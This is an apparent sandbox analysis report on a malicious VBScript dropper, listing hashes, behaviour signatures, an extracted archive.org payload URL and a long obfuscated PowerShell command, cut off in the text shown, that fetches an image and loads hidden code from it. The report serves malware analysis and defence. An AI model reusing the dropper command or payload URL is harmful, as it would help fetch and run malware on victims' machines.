Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    30-08-2024 07:14

General

  • Target

    SI_56127.vbs

  • Size

    721KB

  • MD5

    1f9e4ba03418a882f49d1dea07a9e8fd

  • SHA1

    c348ea91f0bc50a2ebe18eb9f1037864ee2c04a9

  • SHA256

    b53499f1ec9a4a7686cee01d45788b83b7dc379dbaaf601c88be300b4495954d

  • SHA512

    c433c66abf1feb534fb9610c5dcfc37a26bbd8139e3d97257e58f6336b3be263b05f3cd13dd3396e50b010f97efaed76908ec737e02aded473f8a69d91f46b3f

  • SSDEEP

    12288:DubTgK1Um2OMMNiq0rrIl61YxQz6Q4cW0+fmJT/E6j4AfG8xOHft+s+Y9iyMxuep:qXD2A4sQKemA

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg

exe.dropper

https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SI_56127.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⊤ ⪛ ㈿ ∿ ⇐Bp⊤ ⪛ ㈿ ∿ ⇐G0⊤ ⪛ ㈿ ∿ ⇐YQBn⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐VQBy⊤ ⪛ ㈿ ∿ ⇐Gw⊤ ⪛ ㈿ ∿ ⇐I⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐9⊤ ⪛ ㈿ ∿ ⇐C⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐JwBo⊤ ⪛ ㈿ ∿ ⇐HQ⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐Bw⊤ ⪛ ㈿ ∿ ⇐HM⊤ ⪛ ㈿ ∿ ⇐Og⊤ ⪛ ㈿ ∿ ⇐v⊤ ⪛ ㈿ ∿ ⇐C8⊤ ⪛ ㈿ ∿ ⇐aQBh⊤ ⪛ ㈿ ∿ ⇐Dg⊤ ⪛ ㈿ ∿ ⇐M⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐z⊤ ⪛ ㈿ ∿ ⇐DE⊤ ⪛ ㈿ ∿ ⇐M⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐0⊤ ⪛ ㈿ ∿ ⇐C4⊤ ⪛ ㈿ ∿ ⇐dQBz⊤ ⪛ ㈿ ∿ ⇐C4⊤ ⪛ ㈿ ∿ ⇐YQBy⊤ ⪛ ㈿ ∿ ⇐GM⊤ ⪛ ㈿ ∿ ⇐a⊤ ⪛ ㈿ ∿ ⇐Bp⊤ ⪛ ㈿ ∿ ⇐HY⊤ ⪛ ㈿ ∿ ⇐ZQ⊤ ⪛ ㈿ ∿ ⇐u⊤ ⪛ ㈿ ∿ ⇐G8⊤ ⪛ ㈿ ∿ ⇐cgBn⊤ ⪛ ㈿ ∿ ⇐C8⊤ ⪛ ㈿ ∿ ⇐Mg⊤ ⪛ ㈿ ∿ ⇐3⊤ ⪛ ㈿ ∿ ⇐C8⊤ ⪛ ㈿ ∿ ⇐aQB0⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐bQBz⊤ ⪛ ㈿ ∿ ⇐C8⊤ ⪛ ㈿ ∿ ⇐dgBi⊤ ⪛ ㈿ ∿ ⇐HM⊤ ⪛ ㈿ ∿ ⇐Xw⊤ ⪛ ㈿ ∿ ⇐y⊤ ⪛ ㈿ ∿ ⇐D⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐Mg⊤ ⪛ ㈿ ∿ ⇐0⊤ ⪛ ㈿ ∿ ⇐D⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐Nw⊤ ⪛ ㈿ ∿ ⇐y⊤ ⪛ ㈿ ∿ ⇐DY⊤ ⪛ ㈿ ∿ ⇐Xw⊤ ⪛ ㈿ ∿ ⇐y⊤ ⪛ ㈿ ∿ ⇐D⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐Mg⊤ ⪛ ㈿ ∿ ⇐0⊤ ⪛ ㈿ ∿ ⇐D⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐Nw⊤ ⪛ ㈿ ∿ ⇐y⊤ ⪛ ㈿ ∿ ⇐DY⊤ ⪛ ㈿ ∿ ⇐LwB2⊤ ⪛ ㈿ ∿ ⇐GI⊤ ⪛ ㈿ ∿ ⇐cw⊤ ⪛ ㈿ ∿ ⇐u⊤ ⪛ ㈿ ∿ ⇐Go⊤ ⪛ ㈿ ∿ ⇐c⊤ ⪛ ㈿ ∿ ⇐Bn⊤ ⪛ ㈿ ∿ ⇐Cc⊤ ⪛ ㈿ ∿ ⇐Ow⊤ ⪛ ㈿ ∿ ⇐k⊤ ⪛ ㈿ ∿ ⇐Hc⊤ ⪛ ㈿ ∿ ⇐ZQBi⊤ ⪛ ㈿ ∿ ⇐EM⊤ ⪛ ㈿ ∿ ⇐b⊤ ⪛ ㈿ ∿ ⇐Bp⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐bgB0⊤ ⪛ ㈿ ∿ ⇐C⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐PQ⊤ ⪛ ㈿ ∿ ⇐g⊤ ⪛ ㈿ ∿ ⇐E4⊤ ⪛ ㈿ ∿ ⇐ZQB3⊤ ⪛ ㈿ ∿ ⇐C0⊤ ⪛ ㈿ ∿ ⇐TwBi⊤ ⪛ ㈿ ∿ ⇐Go⊤ ⪛ ㈿ ∿ ⇐ZQBj⊤ ⪛ ㈿ ∿ ⇐HQ⊤ ⪛ ㈿ ∿ ⇐I⊤ ⪛ ㈿ ∿ ⇐BT⊤ ⪛ ㈿ ∿ ⇐Hk⊤ ⪛ ㈿ ∿ ⇐cwB0⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐bQ⊤ ⪛ ㈿ ∿ ⇐u⊤ ⪛ ㈿ ∿ ⇐E4⊤ ⪛ ㈿ ∿ ⇐ZQB0⊤ ⪛ ㈿ ∿ ⇐C4⊤ ⪛ ㈿ ∿ ⇐VwBl⊤ ⪛ ㈿ ∿ ⇐GI⊤ ⪛ ㈿ ∿ ⇐QwBs⊤ ⪛ ㈿ ∿ ⇐Gk⊤ ⪛ ㈿ ∿ ⇐ZQBu⊤ ⪛ ㈿ ∿ ⇐HQ⊤ ⪛ ㈿ ∿ ⇐Ow⊤ ⪛ ㈿ ∿ ⇐k⊤ ⪛ ㈿ ∿ ⇐Gk⊤ ⪛ ㈿ ∿ ⇐bQBh⊤ ⪛ ㈿ ∿ ⇐Gc⊤ ⪛ ㈿ ∿ ⇐ZQBC⊤ ⪛ ㈿ ∿ ⇐Hk⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐Bl⊤ ⪛ ㈿ ∿ ⇐HM⊤ ⪛ ㈿ ∿ ⇐I⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐9⊤ ⪛ ㈿ ∿ ⇐C⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐J⊤ ⪛ ㈿ ∿ ⇐B3⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐YgBD⊤ ⪛ ㈿ ∿ ⇐Gw⊤ ⪛ ㈿ ∿ ⇐aQBl⊤ ⪛ ㈿ ∿ ⇐G4⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐u⊤ ⪛ ㈿ ∿ ⇐EQ⊤ ⪛ ㈿ ∿ ⇐bwB3⊤ ⪛ ㈿ ∿ ⇐G4⊤ ⪛ ㈿ ∿ ⇐b⊤ ⪛ ㈿ ∿ ⇐Bv⊤ ⪛ ㈿ ∿ ⇐GE⊤ ⪛ ㈿ ∿ ⇐Z⊤ ⪛ ㈿ ∿ ⇐BE⊤ ⪛ ㈿ ∿ ⇐GE⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐Bh⊤ ⪛ ㈿ ∿ ⇐Cg⊤ ⪛ ㈿ ∿ ⇐J⊤ ⪛ ㈿ ∿ ⇐Bp⊤ ⪛ ㈿ ∿ ⇐G0⊤ ⪛ ㈿ ∿ ⇐YQBn⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐VQBy⊤ ⪛ ㈿ ∿ ⇐Gw⊤ ⪛ ㈿ ∿ ⇐KQ⊤ ⪛ ㈿ ∿ ⇐7⊤ ⪛ ㈿ ∿ ⇐CQ⊤ ⪛ ㈿ ∿ ⇐aQBt⊤ ⪛ ㈿ ∿ ⇐GE⊤ ⪛ ㈿ ∿ ⇐ZwBl⊤ ⪛ ㈿ ∿ ⇐FQ⊤ ⪛ ㈿ ∿ ⇐ZQB4⊤ ⪛ ㈿ ∿ ⇐HQ⊤ ⪛ ㈿ ∿ ⇐I⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐9⊤ ⪛ ㈿ ∿ ⇐C⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐WwBT⊤ ⪛ ㈿ ∿ ⇐Hk⊤ ⪛ ㈿ ∿ ⇐cwB0⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐bQ⊤ ⪛ ㈿ ∿ ⇐u⊤ ⪛ ㈿ ∿ ⇐FQ⊤ ⪛ ㈿ ∿ ⇐ZQB4⊤ ⪛ ㈿ ∿ ⇐HQ⊤ ⪛ ㈿ ∿ ⇐LgBF⊤ ⪛ ㈿ ∿ ⇐G4⊤ ⪛ ㈿ ∿ ⇐YwBv⊤ ⪛ ㈿ ∿ ⇐GQ⊤ ⪛ ㈿ ∿ ⇐aQBu⊤ ⪛ ㈿ ∿ ⇐Gc⊤ ⪛ ㈿ ∿ ⇐XQ⊤ ⪛ ㈿ ∿ ⇐6⊤ ⪛ ㈿ ∿ ⇐Do⊤ ⪛ ㈿ ∿ ⇐VQBU⊤ ⪛ ㈿ ∿ ⇐EY⊤ ⪛ ㈿ ∿ ⇐O⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐u⊤ ⪛ ㈿ ∿ ⇐Ec⊤ ⪛ ㈿ ∿ ⇐ZQB0⊤ ⪛ ㈿ ∿ ⇐FM⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐By⊤ ⪛ ㈿ ∿ ⇐Gk⊤ ⪛ ㈿ ∿ ⇐bgBn⊤ ⪛ ㈿ ∿ ⇐Cg⊤ ⪛ ㈿ ∿ ⇐J⊤ ⪛ ㈿ ∿ ⇐Bp⊤ ⪛ ㈿ ∿ ⇐G0⊤ ⪛ ㈿ ∿ ⇐YQBn⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐QgB5⊤ ⪛ ㈿ ∿ ⇐HQ⊤ ⪛ ㈿ ∿ ⇐ZQBz⊤ ⪛ ㈿ ∿ ⇐Ck⊤ ⪛ ㈿ ∿ ⇐Ow⊤ ⪛ ㈿ ∿ ⇐k⊤ ⪛ ㈿ ∿ ⇐HM⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐Bh⊤ ⪛ ㈿ ∿ ⇐HI⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐BG⊤ ⪛ ㈿ ∿ ⇐Gw⊤ ⪛ ㈿ ∿ ⇐YQBn⊤ ⪛ ㈿ ∿ ⇐C⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐PQ⊤ ⪛ ㈿ ∿ ⇐g⊤ ⪛ ㈿ ∿ ⇐Cc⊤ ⪛ ㈿ ∿ ⇐P⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐8⊤ ⪛ ㈿ ∿ ⇐EI⊤ ⪛ ㈿ ∿ ⇐QQBT⊤ ⪛ ㈿ ∿ ⇐EU⊤ ⪛ ㈿ ∿ ⇐Ng⊤ ⪛ ㈿ ∿ ⇐0⊤ ⪛ ㈿ ∿ ⇐F8⊤ ⪛ ㈿ ∿ ⇐UwBU⊤ ⪛ ㈿ ∿ ⇐EE⊤ ⪛ ㈿ ∿ ⇐UgBU⊤ ⪛ ㈿ ∿ ⇐D4⊤ ⪛ ㈿ ∿ ⇐Pg⊤ ⪛ ㈿ ∿ ⇐n⊤ ⪛ ㈿ ∿ ⇐Ds⊤ ⪛ ㈿ ∿ ⇐J⊤ ⪛ ㈿ ∿ ⇐Bl⊤ ⪛ ㈿ ∿ ⇐G4⊤ ⪛ ㈿ ∿ ⇐Z⊤ ⪛ ㈿ ∿ ⇐BG⊤ ⪛ ㈿ ∿ ⇐Gw⊤ ⪛ ㈿ ∿ ⇐YQBn⊤ ⪛ ㈿ ∿ ⇐C⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐PQ⊤ ⪛ ㈿ ∿ ⇐g⊤ ⪛ ㈿ ∿ ⇐Cc⊤ ⪛ ㈿ ∿ ⇐P⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐8⊤ ⪛ ㈿ ∿ ⇐EI⊤ ⪛ ㈿ ∿ ⇐QQBT⊤ ⪛ ㈿ ∿ ⇐EU⊤ ⪛ ㈿ ∿ ⇐Ng⊤ ⪛ ㈿ ∿ ⇐0⊤ ⪛ ㈿ ∿ ⇐F8⊤ ⪛ ㈿ ∿ ⇐RQBO⊤ ⪛ ㈿ ∿ ⇐EQ⊤ ⪛ ㈿ ∿ ⇐Pg⊤ ⪛ ㈿ ∿ ⇐+⊤ ⪛ ㈿ ∿ ⇐Cc⊤ ⪛ ㈿ ∿ ⇐Ow⊤ ⪛ ㈿ ∿ ⇐k⊤ ⪛ ㈿ ∿ ⇐HM⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐Bh⊤ ⪛ ㈿ ∿ ⇐HI⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐BJ⊤ ⪛ ㈿ ∿ ⇐G4⊤ ⪛ ㈿ ∿ ⇐Z⊤ ⪛ ㈿ ∿ ⇐Bl⊤ ⪛ ㈿ ∿ ⇐Hg⊤ ⪛ ㈿ ∿ ⇐I⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐9⊤ ⪛ ㈿ ∿ ⇐C⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐J⊤ ⪛ ㈿ ∿ ⇐Bp⊤ ⪛ ㈿ ∿ ⇐G0⊤ ⪛ ㈿ ∿ ⇐YQBn⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐V⊤ ⪛ ㈿ ∿ ⇐Bl⊤ ⪛ ㈿ ∿ ⇐Hg⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐u⊤ ⪛ ㈿ ∿ ⇐Ek⊤ ⪛ ㈿ ∿ ⇐bgBk⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐e⊤ ⪛ ㈿ ∿ ⇐BP⊤ ⪛ ㈿ ∿ ⇐GY⊤ ⪛ ㈿ ∿ ⇐K⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐k⊤ ⪛ ㈿ ∿ ⇐HM⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐Bh⊤ ⪛ ㈿ ∿ ⇐HI⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐BG⊤ ⪛ ㈿ ∿ ⇐Gw⊤ ⪛ ㈿ ∿ ⇐YQBn⊤ ⪛ ㈿ ∿ ⇐Ck⊤ ⪛ ㈿ ∿ ⇐Ow⊤ ⪛ ㈿ ∿ ⇐k⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐bgBk⊤ ⪛ ㈿ ∿ ⇐Ek⊤ ⪛ ㈿ ∿ ⇐bgBk⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐e⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐g⊤ ⪛ ㈿ ∿ ⇐D0⊤ ⪛ ㈿ ∿ ⇐I⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐k⊤ ⪛ ㈿ ∿ ⇐Gk⊤ ⪛ ㈿ ∿ ⇐bQBh⊤ ⪛ ㈿ ∿ ⇐Gc⊤ ⪛ ㈿ ∿ ⇐ZQBU⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐e⊤ ⪛ ㈿ ∿ ⇐B0⊤ ⪛ ㈿ ∿ ⇐C4⊤ ⪛ ㈿ ∿ ⇐SQBu⊤ ⪛ ㈿ ∿ ⇐GQ⊤ ⪛ ㈿ ∿ ⇐ZQB4⊤ ⪛ ㈿ ∿ ⇐E8⊤ ⪛ ㈿ ∿ ⇐Zg⊤ ⪛ ㈿ ∿ ⇐o⊤ ⪛ ㈿ ∿ ⇐CQ⊤ ⪛ ㈿ ∿ ⇐ZQBu⊤ ⪛ ㈿ ∿ ⇐GQ⊤ ⪛ ㈿ ∿ ⇐RgBs⊤ ⪛ ㈿ ∿ ⇐GE⊤ ⪛ ㈿ ∿ ⇐Zw⊤ ⪛ ㈿ ∿ ⇐p⊤ ⪛ ㈿ ∿ ⇐Ds⊤ ⪛ ㈿ ∿ ⇐J⊤ ⪛ ㈿ ∿ ⇐Bz⊤ ⪛ ㈿ ∿ ⇐HQ⊤ ⪛ ㈿ ∿ ⇐YQBy⊤ ⪛ ㈿ ∿ ⇐HQ⊤ ⪛ ㈿ ∿ ⇐SQBu⊤ ⪛ ㈿ ∿ ⇐GQ⊤ ⪛ ㈿ ∿ ⇐ZQB4⊤ ⪛ ㈿ ∿ ⇐C⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐LQBn⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐I⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐w⊤ ⪛ ㈿ ∿ ⇐C⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐LQBh⊤ ⪛ ㈿ ∿ ⇐G4⊤ ⪛ ㈿ ∿ ⇐Z⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐g⊤ ⪛ ㈿ ∿ ⇐CQ⊤ ⪛ ㈿ ∿ ⇐ZQBu⊤ ⪛ ㈿ ∿ ⇐GQ⊤ ⪛ ㈿ ∿ ⇐SQBu⊤ ⪛ ㈿ ∿ ⇐GQ⊤ ⪛ ㈿ ∿ ⇐ZQB4⊤ ⪛ ㈿ ∿ ⇐C⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐LQBn⊤ ⪛ ㈿ ∿ ⇐HQ⊤ ⪛ ㈿ ∿ ⇐I⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐k⊤ ⪛ ㈿ ∿ ⇐HM⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐Bh⊤ ⪛ ㈿ ∿ ⇐HI⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐BJ⊤ ⪛ ㈿ ∿ ⇐G4⊤ ⪛ ㈿ ∿ ⇐Z⊤ ⪛ ㈿ ∿ ⇐Bl⊤ ⪛ ㈿ ∿ ⇐Hg⊤ ⪛ ㈿ ∿ ⇐Ow⊤ ⪛ ㈿ ∿ ⇐k⊤ ⪛ ㈿ ∿ ⇐HM⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐Bh⊤ ⪛ ㈿ ∿ ⇐HI⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐BJ⊤ ⪛ ㈿ ∿ ⇐G4⊤ ⪛ ㈿ ∿ ⇐Z⊤ ⪛ ㈿ ∿ ⇐Bl⊤ ⪛ ㈿ ∿ ⇐Hg⊤ ⪛ ㈿ ∿ ⇐I⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐r⊤ ⪛ ㈿ ∿ ⇐D0⊤ ⪛ ㈿ ∿ ⇐I⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐k⊤ ⪛ ㈿ ∿ ⇐HM⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐Bh⊤ ⪛ ㈿ ∿ ⇐HI⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐BG⊤ ⪛ ㈿ ∿ ⇐Gw⊤ ⪛ ㈿ ∿ ⇐YQBn⊤ ⪛ ㈿ ∿ ⇐C4⊤ ⪛ ㈿ ∿ ⇐T⊤ ⪛ ㈿ ∿ ⇐Bl⊤ ⪛ ㈿ ∿ ⇐G4⊤ ⪛ ㈿ ∿ ⇐ZwB0⊤ ⪛ ㈿ ∿ ⇐Gg⊤ ⪛ ㈿ ∿ ⇐Ow⊤ ⪛ ㈿ ∿ ⇐k⊤ ⪛ ㈿ ∿ ⇐GI⊤ ⪛ ㈿ ∿ ⇐YQBz⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐Ng⊤ ⪛ ㈿ ∿ ⇐0⊤ ⪛ ㈿ ∿ ⇐Ew⊤ ⪛ ㈿ ∿ ⇐ZQBu⊤ ⪛ ㈿ ∿ ⇐Gc⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐Bo⊤ ⪛ ㈿ ∿ ⇐C⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐PQ⊤ ⪛ ㈿ ∿ ⇐g⊤ ⪛ ㈿ ∿ ⇐CQ⊤ ⪛ ㈿ ∿ ⇐ZQBu⊤ ⪛ ㈿ ∿ ⇐GQ⊤ ⪛ ㈿ ∿ ⇐SQBu⊤ ⪛ ㈿ ∿ ⇐GQ⊤ ⪛ ㈿ ∿ ⇐ZQB4⊤ ⪛ ㈿ ∿ ⇐C⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐LQ⊤ ⪛ ㈿ ∿ ⇐g⊤ ⪛ ㈿ ∿ ⇐CQ⊤ ⪛ ㈿ ∿ ⇐cwB0⊤ ⪛ ㈿ ∿ ⇐GE⊤ ⪛ ㈿ ∿ ⇐cgB0⊤ ⪛ ㈿ ∿ ⇐Ek⊤ ⪛ ㈿ ∿ ⇐bgBk⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐e⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐7⊤ ⪛ ㈿ ∿ ⇐CQ⊤ ⪛ ㈿ ∿ ⇐YgBh⊤ ⪛ ㈿ ∿ ⇐HM⊤ ⪛ ㈿ ∿ ⇐ZQ⊤ ⪛ ㈿ ∿ ⇐2⊤ ⪛ ㈿ ∿ ⇐DQ⊤ ⪛ ㈿ ∿ ⇐QwBv⊤ ⪛ ㈿ ∿ ⇐G0⊤ ⪛ ㈿ ∿ ⇐bQBh⊤ ⪛ ㈿ ∿ ⇐G4⊤ ⪛ ㈿ ∿ ⇐Z⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐g⊤ ⪛ ㈿ ∿ ⇐D0⊤ ⪛ ㈿ ∿ ⇐I⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐k⊤ ⪛ ㈿ ∿ ⇐Gk⊤ ⪛ ㈿ ∿ ⇐bQBh⊤ ⪛ ㈿ ∿ ⇐Gc⊤ ⪛ ㈿ ∿ ⇐ZQBU⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐e⊤ ⪛ ㈿ ∿ ⇐B0⊤ ⪛ ㈿ ∿ ⇐C4⊤ ⪛ ㈿ ∿ ⇐UwB1⊤ ⪛ ㈿ ∿ ⇐GI⊤ ⪛ ㈿ ∿ ⇐cwB0⊤ ⪛ ㈿ ∿ ⇐HI⊤ ⪛ ㈿ ∿ ⇐aQBu⊤ ⪛ ㈿ ∿ ⇐Gc⊤ ⪛ ㈿ ∿ ⇐K⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐k⊤ ⪛ ㈿ ∿ ⇐HM⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐Bh⊤ ⪛ ㈿ ∿ ⇐HI⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐BJ⊤ ⪛ ㈿ ∿ ⇐G4⊤ ⪛ ㈿ ∿ ⇐Z⊤ ⪛ ㈿ ∿ ⇐Bl⊤ ⪛ ㈿ ∿ ⇐Hg⊤ ⪛ ㈿ ∿ ⇐L⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐g⊤ ⪛ ㈿ ∿ ⇐CQ⊤ ⪛ ㈿ ∿ ⇐YgBh⊤ ⪛ ㈿ ∿ ⇐HM⊤ ⪛ ㈿ ∿ ⇐ZQ⊤ ⪛ ㈿ ∿ ⇐2⊤ ⪛ ㈿ ∿ ⇐DQ⊤ ⪛ ㈿ ∿ ⇐T⊤ ⪛ ㈿ ∿ ⇐Bl⊤ ⪛ ㈿ ∿ ⇐G4⊤ ⪛ ㈿ ∿ ⇐ZwB0⊤ ⪛ ㈿ ∿ ⇐Gg⊤ ⪛ ㈿ ∿ ⇐KQ⊤ ⪛ ㈿ ∿ ⇐7⊤ ⪛ ㈿ ∿ ⇐CQ⊤ ⪛ ㈿ ∿ ⇐YwBv⊤ ⪛ ㈿ ∿ ⇐G0⊤ ⪛ ㈿ ∿ ⇐bQBh⊤ ⪛ ㈿ ∿ ⇐G4⊤ ⪛ ㈿ ∿ ⇐Z⊤ ⪛ ㈿ ∿ ⇐BC⊤ ⪛ ㈿ ∿ ⇐Hk⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐Bl⊤ ⪛ ㈿ ∿ ⇐HM⊤ ⪛ ㈿ ∿ ⇐I⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐9⊤ ⪛ ㈿ ∿ ⇐C⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐WwBT⊤ ⪛ ㈿ ∿ ⇐Hk⊤ ⪛ ㈿ ∿ ⇐cwB0⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐bQ⊤ ⪛ ㈿ ∿ ⇐u⊤ ⪛ ㈿ ∿ ⇐EM⊤ ⪛ ㈿ ∿ ⇐bwBu⊤ ⪛ ㈿ ∿ ⇐HY⊤ ⪛ ㈿ ∿ ⇐ZQBy⊤ ⪛ ㈿ ∿ ⇐HQ⊤ ⪛ ㈿ ∿ ⇐XQ⊤ ⪛ ㈿ ∿ ⇐6⊤ ⪛ ㈿ ∿ ⇐Do⊤ ⪛ ㈿ ∿ ⇐RgBy⊤ ⪛ ㈿ ∿ ⇐G8⊤ ⪛ ㈿ ∿ ⇐bQBC⊤ ⪛ ㈿ ∿ ⇐GE⊤ ⪛ ㈿ ∿ ⇐cwBl⊤ ⪛ ㈿ ∿ ⇐DY⊤ ⪛ ㈿ ∿ ⇐N⊤ ⪛ ㈿ ∿ ⇐BT⊤ ⪛ ㈿ ∿ ⇐HQ⊤ ⪛ ㈿ ∿ ⇐cgBp⊤ ⪛ ㈿ ∿ ⇐G4⊤ ⪛ ㈿ ∿ ⇐Zw⊤ ⪛ ㈿ ∿ ⇐o⊤ ⪛ ㈿ ∿ ⇐CQ⊤ ⪛ ㈿ ∿ ⇐YgBh⊤ ⪛ ㈿ ∿ ⇐HM⊤ ⪛ ㈿ ∿ ⇐ZQ⊤ ⪛ ㈿ ∿ ⇐2⊤ ⪛ ㈿ ∿ ⇐DQ⊤ ⪛ ㈿ ∿ ⇐QwBv⊤ ⪛ ㈿ ∿ ⇐G0⊤ ⪛ ㈿ ∿ ⇐bQBh⊤ ⪛ ㈿ ∿ 